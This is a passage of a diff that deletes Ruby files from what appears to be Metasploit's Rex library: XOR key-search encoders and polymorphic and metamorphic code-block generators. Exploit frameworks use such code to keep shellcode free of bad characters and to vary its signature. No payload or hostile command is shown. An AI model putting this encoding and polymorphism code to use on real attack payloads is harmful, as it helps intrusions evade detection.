def DwordAdditive.pack_key(key)
|
||||
return [ key ].pack(_packspec)
|
||||
end
|
||||
def DwordAdditive.unpack_key(key)
|
||||
return key.unpack(_packspec)[0]
|
||||
end
|
||||
|
||||
# hook in the key mutation routine of encode for the additive feedback
|
||||
def DwordAdditive._encode_mutate_key(buf, key, pos, len)
|
||||
if (pos + 1) % len == 0
|
||||
# add the last len bytes (in this case 4) with the key,
|
||||
# dropping off any overflow
|
||||
key = pack_key(
|
||||
unpack_key(key) + unpack_key(buf[pos - (len - 1), len]) &
|
||||
(1 << (len << 3)) - 1
|
||||
)
|
||||
end
|
||||
|
||||
return key
|
||||
end
|
||||
|
||||
#
|
||||
# I realize this algorithm is broken. We invalidate some keys
|
||||
# in _find_bad_keys that could actually be perfectly fine. However,
|
||||
# it seems to work ok for now, and this is all just a lame adhoc method.
|
||||
# Maybe someday we can revisit this and make it a bit less ghetto...
|
||||
#
|
||||
|
||||
def DwordAdditive._find_good_key(data, badkeys, badchars)
|
||||
|
||||
ksize = keysize
|
||||
kstart = ""
|
||||
ksize.times { kstart << rand(256) } # random key starting place
|
||||
|
||||
key = kstart.dup
|
||||
|
||||
#
|
||||
# now for the ghettoness of an algorithm:
|
||||
# try the random key we picked
|
||||
# if the key failed, figure out which key byte corresponds
|
||||
# increment that key byte
|
||||
# if we wrapped a byte all the way around, fail :(
|
||||
#
|
||||
|
||||
loop do
|
||||
# ok, try to encode it, any bad chars present?
|
||||
pos = _check(data, key, badchars)
|
||||
|
||||
# yay, no problems, we found a key!
|
||||
break if !pos
|
||||
|
||||
strip = pos % ksize
|
||||
|
||||
# increment the offending key byte
|
||||
key[strip] = key[strip] + 1 & 0xff
|
||||
|
||||
# We wrapped around!
|
||||
if key[strip] == kstart[strip]
|
||||
raise KeySearchError, "Key space exhausted on strip #{strip}!", caller
|
||||
end
|
||||
end
|
||||
|
||||
return key
|
||||
end
|
||||
|
||||
end end end end # DwordAdditive/Xor/Encoding/Rex
|
||||
|
|
@ -1,17 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
module Exception
|
||||
|
||||
end
|
||||
|
||||
class KeySearchError < ::Exception
|
||||
include Exception
|
||||
MSG = "Error finding a key."
|
||||
end
|
||||
|
||||
end end end
|
||||
|
|
@ -1,146 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/exceptions'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class Generic
|
||||
|
||||
def Generic.keysize
|
||||
# special case:
|
||||
# 0 means we encode based on the length of the key
|
||||
# we don't enforce any perticular key length
|
||||
return 0
|
||||
end
|
||||
|
||||
#
|
||||
# Now for some internal check methods
|
||||
#
|
||||
|
||||
# hook stylies!
|
||||
# return index of offending byte or nil
|
||||
def Generic._check(data, key, badchars)
|
||||
return _check_key(key, badchars) || _check_encode(data, key, badchars)
|
||||
end
|
||||
def Generic._check_key(key, badchars)
|
||||
return Rex::Text.badchar_index(key, badchars)
|
||||
end
|
||||
def Generic._check_encode(data, key, badchars)
|
||||
return Rex::Text.badchar_index(encode(data, key), badchars)
|
||||
end
|
||||
|
||||
def Generic.find_key(data, badchars)
|
||||
return _find_good_key(data, _find_bad_keys(data, badchars), badchars)
|
||||
end
|
||||
|
||||
# !!! xxx MAKE THESE PRIVATE
|
||||
|
||||
#
|
||||
# Find a list of bytes that can't be valid xor keys, from the data and badchars.
|
||||
# This returns a Array of hashes, length keysize
|
||||
#
|
||||
def Generic._find_bad_keys(data, badchars)
|
||||
|
||||
ksize = keysize
|
||||
|
||||
# array of hashes for the bad characters based
|
||||
# on their position in the data
|
||||
badkeys = [ ]
|
||||
ksize.times { badkeys << { } }
|
||||
|
||||
badchars.each_byte { |badchar|
|
||||
pos = 0
|
||||
data.each_byte { |char|
|
||||
badkeys[pos % ksize][char ^ badchar] = true
|
||||
pos += 1
|
||||
}
|
||||
}
|
||||
|
||||
return badkeys
|
||||
end
|
||||
|
||||
#
|
||||
# (Hopefully) find a good key, from badkeys and badchars
|
||||
#
|
||||
def Generic._find_good_key(data, badkeys, badchars)
|
||||
|
||||
ksize = keysize
|
||||
strip = 0
|
||||
key = ""
|
||||
|
||||
while strip < keysize
|
||||
|
||||
kbyte = rand(256)
|
||||
|
||||
catch(:found_kbyte) do
|
||||
256.times {
|
||||
|
||||
if !badkeys[strip][kbyte] && !badchars[kbyte.chr]
|
||||
throw :found_kbyte
|
||||
end
|
||||
|
||||
kbyte = (kbyte + 1) & 0xff
|
||||
}
|
||||
|
||||
raise KeySearchError, "Exhausted byte space for strip #{strip}!", caller
|
||||
end
|
||||
|
||||
key << kbyte
|
||||
strip += 1
|
||||
end
|
||||
|
||||
# ok, we should have a good key now, lets double check...
|
||||
if _check(data, key, badchars)
|
||||
raise KeySearchError, "Key found, but bad character check failed!", caller
|
||||
end
|
||||
|
||||
return key
|
||||
end
|
||||
|
||||
def Generic.encode(buf, key)
|
||||
|
||||
if !key.kind_of?(String)
|
||||
raise ::ArgumentError, "Key must be a string!", caller
|
||||
end
|
||||
|
||||
len = key.length
|
||||
|
||||
if len == 0
|
||||
raise ::ArgumentError, "Zero key length!", caller
|
||||
end
|
||||
|
||||
if keysize != 0 && keysize != len
|
||||
raise ::ArgumentError, "Key length #{len}, expected #{keysize}", caller
|
||||
end
|
||||
|
||||
encoded = ""
|
||||
pos = 0
|
||||
|
||||
while pos < buf.length
|
||||
encoded += (buf[pos,1].unpack("C*")[0] ^ key[pos % len, 1].unpack("C*")[0]).chr
|
||||
key = _encode_mutate_key(buf, key, pos, len)
|
||||
pos += 1
|
||||
end
|
||||
|
||||
return [ encoded, key ]
|
||||
|
||||
end
|
||||
|
||||
# kind of ghetto, but very convenient for mutating keys
|
||||
# by default, do no key mutations
|
||||
def Generic._encode_mutate_key(buf, key, pos, len)
|
||||
return key
|
||||
end
|
||||
|
||||
# maybe a bit a smaller of method name?
|
||||
def Generic.find_key_and_encode(data, badchars)
|
||||
key = find_key(data, badchars)
|
||||
enc, fkey = encode(data, key)
|
||||
return [ enc, key, fkey ]
|
||||
end
|
||||
|
||||
|
||||
end end end end # Generic/Xor/Encoding/Rex
|
|
@ -1,15 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/generic'
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class Qword < Generic
|
||||
|
||||
def Qword.keysize
|
||||
8
|
||||
end
|
||||
|
||||
end end end end
|
|
@ -1,21 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/encoding/xor/generic'
|
||||
|
||||
#
|
||||
# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl
|
||||
# version used to pad this buffer out to a 2-byte boundary, but I can't think
|
||||
# of a good reason to do that anymore, so this doesn't.
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Encoding
|
||||
module Xor
|
||||
|
||||
class Word < Generic
|
||||
|
||||
def Word.keysize
|
||||
2
|
||||
end
|
||||
|
||||
end end end end # Word/Xor/Encoding/Rex
|
134
lib/rex/poly.rb
134
lib/rex/poly.rb
|
@ -1,134 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Poly
|
||||
|
||||
require 'rex/poly/register'
|
||||
require 'rex/poly/block'
|
||||
require 'rex/poly/machine'
|
||||
|
||||
###
|
||||
#
|
||||
# This class encapsulates the state of a single polymorphic block set
|
||||
# generation. It tracks the current set of consumed registers, the linear
|
||||
# list of blocks generated, the end-result buffer, and the phase of
|
||||
# generation. The fields exposed by the State class are intended for use only
|
||||
# by the polymorphic generation subsystem and should not be modified directly.
|
||||
#
|
||||
###
|
||||
class State
|
||||
|
||||
#
|
||||
# Initializes the polymorphic generation state.
|
||||
#
|
||||
def initialize
|
||||
@block_list = nil
|
||||
reset
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the generation state to have a plain start by clearing all
|
||||
# consumed registers, resetting the polymorphic buffer back to its
|
||||
# beginning and destroying any block generation state.
|
||||
#
|
||||
def reset
|
||||
# Reset the generation flag on any blocks in the block list
|
||||
@block_list.each { |block|
|
||||
block[0].generated = false
|
||||
} if (@block_list)
|
||||
|
||||
@regnums = Hash.new
|
||||
@buffer = ''
|
||||
@block_list = []
|
||||
@curr_offset = 0
|
||||
@first_phase = true
|
||||
@badchars = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the supplied register number is already consumed.
|
||||
#
|
||||
def consumed_regnum?(regnum)
|
||||
@regnums[regnum]
|
||||
end
|
||||
|
||||
#
|
||||
# Consumes a register number, thus removing it from the pool that can be
|
||||
# assigned. The consumed register number is returned to the caller.
|
||||
#
|
||||
def consume_regnum(regnum)
|
||||
raise RuntimeError, "Register #{regnum} is already consumed." if (consumed_regnum?(regnum))
|
||||
|
||||
@regnums[regnum] = true
|
||||
|
||||
regnum
|
||||
end
|
||||
|
||||
#
|
||||
# Acquires a register number that has not already been consumed from the
|
||||
# supplied register number set and consumes it, returning the selected
|
||||
# register number to the caller. The register number is selected from the
|
||||
# set at random.
|
||||
#
|
||||
def consume_regnum_from_set(regnum_set)
|
||||
# Pick a random starting point within the supplied set.
|
||||
idx = rand(regnum_set.length)
|
||||
|
||||
# Try each index in the set.
|
||||
regnum_set.length.times { |x|
|
||||
regnum = regnum_set[(idx + x) % regnum_set.length]
|
||||
|
||||
next if (consumed_regnum?(regnum))
|
||||
|
||||
return consume_regnum(regnum)
|
||||
}
|
||||
|
||||
# If we get through the entire iteration without finding a register,
|
||||
# then we are out of registers to assign.
|
||||
raise RuntimeError, "No registers are available to consume from the set"
|
||||
end
|
||||
|
||||
#
|
||||
# Eliminates a register number from the consumed pool so that it can be
|
||||
# used in the future. This happens after a block indicates that a register
|
||||
# has been clobbered.
|
||||
#
|
||||
def defecate_regnum(regnum)
|
||||
@regnums.delete(regnum)
|
||||
end
|
||||
|
||||
#
|
||||
# The buffer state for the current polymorphic generation. This stores the
|
||||
# end-result of a call to generate on a LogicalBlock.
|
||||
#
|
||||
attr_accessor :buffer
|
||||
|
||||
#
|
||||
# The linear list of blocks that is generated by calling the generate
|
||||
# method on a LogicalBlock.
|
||||
#
|
||||
attr_accessor :block_list
|
||||
|
||||
#
|
||||
# The current offset into the polymorphic buffer that is being generated.
|
||||
# This is updated as blocks are appended to the block_list.
|
||||
#
|
||||
attr_accessor :curr_offset
|
||||
|
||||
#
|
||||
# A boolean field that is used by the LogicalBlock class to track whether
|
||||
# or not it is in the first phase (generating the block list), or in the
|
||||
# second phase (generating the polymorphic buffer). This phases are used
|
||||
# to indicate whether or not the offset_of and regnum_of methods will
|
||||
# return actual results.
|
||||
#
|
||||
attr_accessor :first_phase
|
||||
|
||||
#
|
||||
# Characters to avoid when selecting permutations, if any.
|
||||
#
|
||||
attr_accessor :badchars
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,480 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Poly
|
||||
|
||||
###
|
||||
#
|
||||
# This class encapsulates a LogicalBlock permutation. Block permutations can
|
||||
# take the form of a static string or a procedure. This makes it possible to
|
||||
# have simple blocks and more complicated ones that take into account other
|
||||
# variables, such as dynamic registers. The to_s method will return the
|
||||
# string version of the permutation, regardless of whether or not the
|
||||
# underlying permutation is a string or a procedure.
|
||||
#
|
||||
###
|
||||
class Permutation
|
||||
|
||||
#
|
||||
# Initializes the permutation and its associated block.
|
||||
#
|
||||
def initialize(perm, block)
|
||||
@perm = perm
|
||||
@block = block
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the length of the string returned by to_s.
|
||||
#
|
||||
def length
|
||||
to_s.length
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the string representation of the permutation. If the underlying
|
||||
# permutation is a procedure, the procedure is called. Otherwise, the
|
||||
# string representation of the permutation is returned.
|
||||
#
|
||||
def to_s
|
||||
if (@perm.kind_of?(Proc))
|
||||
@perm.call(@block).to_s
|
||||
else
|
||||
@perm.to_s
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :perm
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class represents a logical block which is defined as a concise portion
|
||||
# of code that may have one or more functionally equivalent implementations.
|
||||
# A logical block should serve a very specific purpose, and any permutations
|
||||
# beyond the first should result in exactly the same functionality without any
|
||||
# adverse side effects to other blocks.
|
||||
#
|
||||
# Like blocks of code, LogicalBlock's can depend on one another in terms of
|
||||
# ordering and precedence. By marking blocks as dependent on another, a
|
||||
# hierarchy begins to form. This is a block dependency graph.
|
||||
#
|
||||
# To add permutations to a LogicalBlock, they can either be passed in as a
|
||||
# list of arguments to the constructor following the blocks name or can be
|
||||
# added on the fly by calling the add_perm method. To get a random
|
||||
# permutation, the rand_perm method can be called.
|
||||
#
|
||||
# To mark one block as depending on another, the depends_on method can be
|
||||
# called with zero or more LogicalBlock instances as parameters.
|
||||
#
|
||||
###
|
||||
class LogicalBlock
|
||||
|
||||
#
|
||||
# Initializes the logical block's name along with zero or more specific
|
||||
# blocks.
|
||||
#
|
||||
def initialize(name, *perms)
|
||||
@name = name
|
||||
|
||||
reset
|
||||
|
||||
add_perm(*perms)
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the block back to its starting point.
|
||||
#
|
||||
def reset
|
||||
@perms = []
|
||||
@depends = []
|
||||
@next_blocks = []
|
||||
@clobbers = []
|
||||
@offset = nil
|
||||
@state = nil
|
||||
@once = false
|
||||
@references = 0
|
||||
@used_references = 0
|
||||
@generated = false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the block's name.
|
||||
#
|
||||
def name
|
||||
@name
|
||||
end
|
||||
|
||||
#
|
||||
# Flags whether or not the block should only be generated once. This can
|
||||
# be used to mark a blog as being depended upon by multiple blocks, but
|
||||
# making it such that it is only generated once.
|
||||
#
|
||||
def once=(tf)
|
||||
@once = tf
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this block is a 'once' block. That is, this block is
|
||||
# dependend upon by multiple blocks but should only be generated once.
|
||||
#
|
||||
def once
|
||||
@once
|
||||
end
|
||||
|
||||
#
|
||||
# Increments the number of blocks that depend on this block.
|
||||
#
|
||||
# @see #deref
|
||||
def ref
|
||||
@references += 1
|
||||
end
|
||||
|
||||
#
|
||||
# Increments the number of blocks that have completed their dependency
|
||||
# pass on this block. This number should never become higher than the
|
||||
# `@references` attribute.
|
||||
#
|
||||
# @see #ref
|
||||
def deref
|
||||
@used_references += 1
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if there is only one block reference remaining.
|
||||
#
|
||||
def last_reference?
|
||||
(@references - @used_references <= 0)
|
||||
end
|
||||
|
||||
#
|
||||
# Adds zero or more specific permutations that may be represented either as
|
||||
# strings or as Proc's to be called at evaluation time.
|
||||
#
|
||||
def add_perm(*perms)
|
||||
@perms.concat(perms)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a random permutation that is encapsulated in a Permutation class
|
||||
# instance.
|
||||
#
|
||||
def rand_perm
|
||||
perm = nil
|
||||
|
||||
if (@state.badchars)
|
||||
perm = rand_perm_badchars
|
||||
else
|
||||
perm = Permutation.new(@perms[rand(@perms.length)], self)
|
||||
end
|
||||
|
||||
if (perm.nil?)
|
||||
raise RuntimeError, "Failed to locate a valid permutation."
|
||||
end
|
||||
|
||||
perm
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a random permutation that passes any necessary bad character
|
||||
# checks.
|
||||
#
|
||||
def rand_perm_badchars
|
||||
idx = rand(@perms.length)
|
||||
off = 0
|
||||
|
||||
while (off < @perms.length)
|
||||
p = @perms[(idx + off) % @perms.length]
|
||||
|
||||
if (p.kind_of?(Proc) or
|
||||
@state.badchars.nil? or
|
||||
Rex::Text.badchar_index(p, @state.badchars).nil?)
|
||||
return Permutation.new(p, self)
|
||||
end
|
||||
|
||||
off += 1
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the blocks that this block instance depends on.
|
||||
#
|
||||
def depends_on(*depends)
|
||||
@depends = depends.dup
|
||||
|
||||
# Increment dependent references
|
||||
@depends.each { |b| b.ref }
|
||||
end
|
||||
|
||||
#
|
||||
# Defines the next blocks, but not in a dependency fashion but rather in a
|
||||
# linking of separate block contexts.
|
||||
#
|
||||
def next_blocks(*blocks)
|
||||
@next_blocks = blocks.dup
|
||||
end
|
||||
|
||||
#
|
||||
# Defines the list of zero or more LogicalRegister's that this block
|
||||
# clobbers.
|
||||
#
|
||||
def clobbers(*registers)
|
||||
@clobbers = registers
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerates each register instance that is clobbered by this block.
|
||||
#
|
||||
def each_clobbers(&block)
|
||||
@clobbers.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the polymorphic buffer that results from this block and any of
|
||||
# the blocks that it either directly or indirectly depends on. A list of
|
||||
# register numbers to be saved can be passed in as an argument.
|
||||
#
|
||||
# This method is not thread safe. To call this method on a single block
|
||||
# instance from within multiple threads, be sure to encapsulate the calls
|
||||
# inside a locked context.
|
||||
#
|
||||
def generate(save_registers = nil, state = nil, badchars = nil)
|
||||
# Create a localized state instance if one was not supplied.
|
||||
state = Rex::Poly::State.new if (state == nil)
|
||||
buf = nil
|
||||
cnt = 0
|
||||
|
||||
# This is a lame way of doing this. We just try to generate at most 128
|
||||
# times until we don't have badchars. The reason we have to do it this
|
||||
# way is because of the fact that badchars can be introduced through
|
||||
# block offsetting and register number selection which can't be readily
|
||||
# predicted or detected during the generation phase. In the future we
|
||||
# can make this better, but for now this will have to do.
|
||||
begin
|
||||
buf = do_generate(save_registers, state, badchars)
|
||||
|
||||
if (buf and
|
||||
(badchars.nil? or Rex::Text.badchar_index(buf, badchars).nil?))
|
||||
break
|
||||
end
|
||||
end while ((cnt += 1) < 128)
|
||||
|
||||
# If we passed 128 tries, then we can't succeed.
|
||||
buf = nil if (cnt >= 128)
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the offset of a block. If the active state for this instance is
|
||||
# operating in the first phase, then zero is always returned. Otherwise,
|
||||
# the correct offset for the supplied block is returned.
|
||||
#
|
||||
def offset_of(lblock)
|
||||
if (@state.first_phase)
|
||||
0
|
||||
else
|
||||
if (lblock.kind_of?(SymbolicBlock::End))
|
||||
@state.curr_offset
|
||||
else
|
||||
lblock.offset
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the register number associated with the supplied LogicalRegister
|
||||
# instance. If the active state for this instance is operating in the
|
||||
# first phase, then zero is always returned. Otherwise, the correct
|
||||
# register number is returned based on what is currently assigned to the
|
||||
# supplied LogicalRegister instance, if anything.
|
||||
#
|
||||
def regnum_of(reg)
|
||||
(@state.first_phase) ? 0 : reg.regnum
|
||||
end
|
||||
|
||||
def size_of(lblock)
|
||||
@state.block_list.map { |b, p|
|
||||
if b == lblock
|
||||
return p.length
|
||||
end
|
||||
}
|
||||
0
|
||||
end
|
||||
|
||||
#
|
||||
# This attributes contains the currently assigned offset of the permutation
|
||||
# associated with this block into the polymorphic buffer that is being
|
||||
# generated.
|
||||
#
|
||||
attr_accessor :offset
|
||||
|
||||
#
|
||||
# Whether or not this block has currently been generated for a given
|
||||
# iteration.
|
||||
#
|
||||
attr_accessor :generated
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Performs the actual polymorphic buffer generation. Called from generate
|
||||
#
|
||||
def do_generate(save_registers, state, badchars)
|
||||
# Reset the state in case it was passed in.
|
||||
state.reset
|
||||
|
||||
# Set the bad character list
|
||||
state.badchars = badchars if (badchars)
|
||||
|
||||
# Consume any registers that should be saved.
|
||||
save_registers.each { |reg|
|
||||
state.consume_regnum(reg)
|
||||
} if (save_registers)
|
||||
|
||||
# Build the linear list of blocks that will be processed. This
|
||||
# list is built in a dynamic fashion based on block dependencies.
|
||||
# The list that is returned is an Array of which each element is a two
|
||||
# member array, the first element being the LogicalBlock instance that
|
||||
# the permutation came from and the second being an instance of the
|
||||
# Permutation class associated with the selected permutation.
|
||||
block_list = generate_block_list(state)
|
||||
|
||||
# Transition into the second phase which enables offset_of and regnum_of
|
||||
# calls to return real values.
|
||||
state.first_phase = false
|
||||
|
||||
# Now that every block has been assigned an offset, generate the
|
||||
# buffer block by block, assigning registers as necessary.
|
||||
block_list.each { |b|
|
||||
|
||||
# Generate the next permutation and append it to the buffer.
|
||||
begin
|
||||
state.buffer += b[1].to_s
|
||||
# If an invalid register exception is raised, try to consume a random
|
||||
# register from the register's associated architecture register
|
||||
# number set.
|
||||
rescue InvalidRegisterError => e
|
||||
e.reg.regnum = state.consume_regnum_from_set(e.reg.class.regnum_set)
|
||||
retry
|
||||
end
|
||||
|
||||
# Remove any of the registers that have been clobbered by this block
|
||||
# from the list of consumed register numbers so that they can be used
|
||||
# in the future.
|
||||
b[0].each_clobbers { |reg|
|
||||
begin
|
||||
state.defecate_regnum(reg.regnum)
|
||||
|
||||
reg.regnum = nil
|
||||
rescue InvalidRegisterError
|
||||
end
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Finally, return the buffer that has been created.
|
||||
state.buffer
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the linear list of block permutations which is stored in the
|
||||
# supplied state instance. This is done prior to assigning blocks offsets
|
||||
#
|
||||
def generate_block_list(state, level=0)
|
||||
if @depends.length > 1
|
||||
@depends.length.times {
|
||||
f = rand(@depends.length)
|
||||
@depends.push(@depends.delete_at(f))
|
||||
}
|
||||
end
|
||||
|
||||
@depends.length.times { |cidx|
|
||||
|
||||
pass = false
|
||||
|
||||
while (not pass)
|
||||
|
||||
if (@depends[cidx].generated)
|
||||
break
|
||||
|
||||
# If this dependent block is a once block and the magic 8 ball turns
|
||||
# up zero, skip it and let a later block pick it up. We only do this
|
||||
# if we are not the last block to have a dependency on this block.
|
||||
elsif ((@depends[cidx].once) and
|
||||
(rand(2).to_i == 0) and
|
||||
(@depends[cidx].last_reference? == false))
|
||||
break
|
||||
end
|
||||
|
||||
# Generate this block
|
||||
@depends[cidx].generate_block_list(state, level+1)
|
||||
|
||||
if level != 0
|
||||
return
|
||||
else
|
||||
@depends.length.times {
|
||||
f = rand(@depends.length)
|
||||
@depends.push(@depends.delete_at(f))
|
||||
}
|
||||
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
next
|
||||
}
|
||||
|
||||
self.deref
|
||||
|
||||
# Assign the instance local state for the duration of this generation
|
||||
@state = state
|
||||
|
||||
# Select a random permutation
|
||||
perm = rand_perm
|
||||
|
||||
# Set our block offset to the current state offset
|
||||
self.offset = state.curr_offset
|
||||
|
||||
# Flag ourselves as having been generated for this iteration.
|
||||
self.generated = true
|
||||
|
||||
# Adjust the current offset based on the permutations length
|
||||
state.curr_offset += perm.length
|
||||
|
||||
# Add it to the linear list of blocks
|
||||
state.block_list << [ self, perm ]
|
||||
|
||||
# Generate all the blocks that follow this one.
|
||||
@next_blocks.each { |b|
|
||||
b.generate_block_list(state)
|
||||
}
|
||||
|
||||
# Return the state's block list
|
||||
state.block_list
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Symbolic blocks are used as special-case LogicalBlock's that have meaning
|
||||
# a more general meaning. For instance, SymbolicBlock::End can be used to
|
||||
# symbolize the end of a polymorphic buffer.
|
||||
#
|
||||
###
|
||||
module SymbolicBlock
|
||||
|
||||
###
|
||||
#
|
||||
# The symbolic end of a polymorphic buffer.
|
||||
#
|
||||
###
|
||||
class End < LogicalBlock
|
||||
def initialize
|
||||
super('__SYMBLK_END__')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,13 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
module Poly
|
||||
|
||||
require 'metasm'
|
||||
require 'rex/poly/machine/machine'
|
||||
require 'rex/poly/machine/x86'
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,830 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
module Poly
|
||||
|
||||
#
|
||||
# A machine capable of creating a small blob of code in a metamorphic kind of way.
|
||||
# Note: this is designed to perform an exhaustive search for a solution and can be
|
||||
# slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a
|
||||
# better choice.
|
||||
#
|
||||
class Machine
|
||||
|
||||
QWORD = 8
|
||||
DWORD = 4
|
||||
WORD = 2
|
||||
BYTE = 1
|
||||
|
||||
#
|
||||
# A Permutation!
|
||||
#
|
||||
class Permutation
|
||||
|
||||
attr_accessor :active, :offset
|
||||
|
||||
attr_reader :name, :primitive, :length, :args
|
||||
|
||||
#
|
||||
# Create a new permutation object.
|
||||
#
|
||||
def initialize( name, primitive, machine, source, args=nil )
|
||||
@name = name
|
||||
@primitive = primitive
|
||||
@machine = machine
|
||||
@source = source
|
||||
@args = args
|
||||
@active = false
|
||||
@valid = true
|
||||
@length = 0
|
||||
@offset = 0
|
||||
@children = ::Array.new
|
||||
end
|
||||
|
||||
#
|
||||
# Add in a child permutation to this one. Used to build the permutation tree.
|
||||
#
|
||||
def add_child( child )
|
||||
@children << child
|
||||
end
|
||||
|
||||
#
|
||||
# Does this permutation have children?
|
||||
#
|
||||
def has_children?
|
||||
not @children.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# Remove any existing children. Called by the machines generate function
|
||||
# to build a fresh tree in case generate was previously called.
|
||||
#
|
||||
def remove_children
|
||||
@children.clear
|
||||
end
|
||||
|
||||
#
|
||||
# Actully render this permutation into a raw buffer.
|
||||
#
|
||||
def render
|
||||
raw = ''
|
||||
# Zero the length as we will be rendering the raw buffer and the length may change.
|
||||
@length = 0
|
||||
# If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string
|
||||
if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) )
|
||||
if( @source.kind_of?( Primitive ) )
|
||||
raw = @source.call( @name, @machine, *@args )
|
||||
elsif( @source.kind_of?( ::Proc ) )
|
||||
raw = @source.call
|
||||
end
|
||||
# If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble.
|
||||
if( raw.kind_of?( ::Array ) )
|
||||
lines = raw
|
||||
raw = ''
|
||||
# itterate over each line of assembly
|
||||
lines.each do | asm |
|
||||
# parse the asm and substitute in any offset values specified...
|
||||
offsets = asm.scan( /:([\S]+)_offset/ )
|
||||
offsets.each do | name, |
|
||||
asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s )
|
||||
end
|
||||
# and substitute in and register values for any variables specified...
|
||||
regs = asm.scan( /:([\S]+)_reg([\d]+)/ )
|
||||
regs.each do | name, size |
|
||||
asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) )
|
||||
end
|
||||
# assemble it into a raw blob
|
||||
blob = @machine.assemble( asm )
|
||||
#if( not @machine.is_valid?( blob ) )
|
||||
# p "#{name}(#{primitive}):#{asm} is invalid"
|
||||
#end
|
||||
raw << blob
|
||||
end
|
||||
end
|
||||
else
|
||||
# the source must just be a static string
|
||||
raw = @source
|
||||
end
|
||||
# Update the length to reflect the new raw buffer
|
||||
@length = raw.to_s.length
|
||||
# As the temp variable is only assigned for the duration of a single permutation we
|
||||
# can now release it if it was used in this permutation.
|
||||
@machine.release_temp_variable
|
||||
return raw.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list).
|
||||
#
|
||||
def is_valid?
|
||||
result = false
|
||||
if( @valid )
|
||||
begin
|
||||
result = @machine.is_valid?( self.render )
|
||||
rescue UnallowedPermutation
|
||||
# This permutation is unallowed and can never be rendered so just mark it as
|
||||
# not valid to skip it during future attempts.
|
||||
@valid = false
|
||||
rescue UndefinedPermutation
|
||||
# allow an undefined permutation to fail validation but keep it marked
|
||||
# as valid as it may be defined and passed validation later.
|
||||
ensure
|
||||
# Should a temporary variable have been assigned we can release it here.
|
||||
@machine.release_temp_variable
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
#
|
||||
# Try to find a solution within the solution space by performing a depth first search
|
||||
# into the permutation tree and backtracking when needed.
|
||||
#
|
||||
def solve
|
||||
# Check to see if this permutation can make part of a valid solution
|
||||
if( self.is_valid? )
|
||||
# record this permutation as part of the final solution (the current machines register state is also saved here)
|
||||
@machine.solution_push( self )
|
||||
# If we have no children we are at the end of the tree and have a potential full solution.
|
||||
if( not self.has_children? )
|
||||
# We have a solution but doing a final pass to update offsets may introduce bad chars
|
||||
# so we test for this and keep searching if this isnt a real solution after all.
|
||||
if( not @machine.solution_is_valid? )
|
||||
# remove this permutation and keep searching
|
||||
@machine.solution_pop
|
||||
return false
|
||||
end
|
||||
# Return true to unwind the recursive call as we have got a final solution.
|
||||
return true
|
||||
end
|
||||
# Itterate over the children of this permutation (the perutations of the proceeding block).
|
||||
@children.each do | child |
|
||||
# Traverse into this child to keep trying to generate a solution...
|
||||
if( child.solve )
|
||||
# Keep returning true to unwind as we are done.
|
||||
return true
|
||||
end
|
||||
end
|
||||
# If we get here this permutation, origionally thought to be good for a solution, is not after all,
|
||||
# so remove it from the machines final solution, restoring the register state aswell.
|
||||
@machine.solution_pop
|
||||
end
|
||||
# No children can be made form part of the solution, return failure for this path in the tree.
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A symbolic permutation to mark locations like the begining and end of a group of blocks.
|
||||
# Used to calculate usefull offsets.
|
||||
#
|
||||
class SymbolicPermutation < Permutation
|
||||
def initialize( name, machine, initial_offset=0 )
|
||||
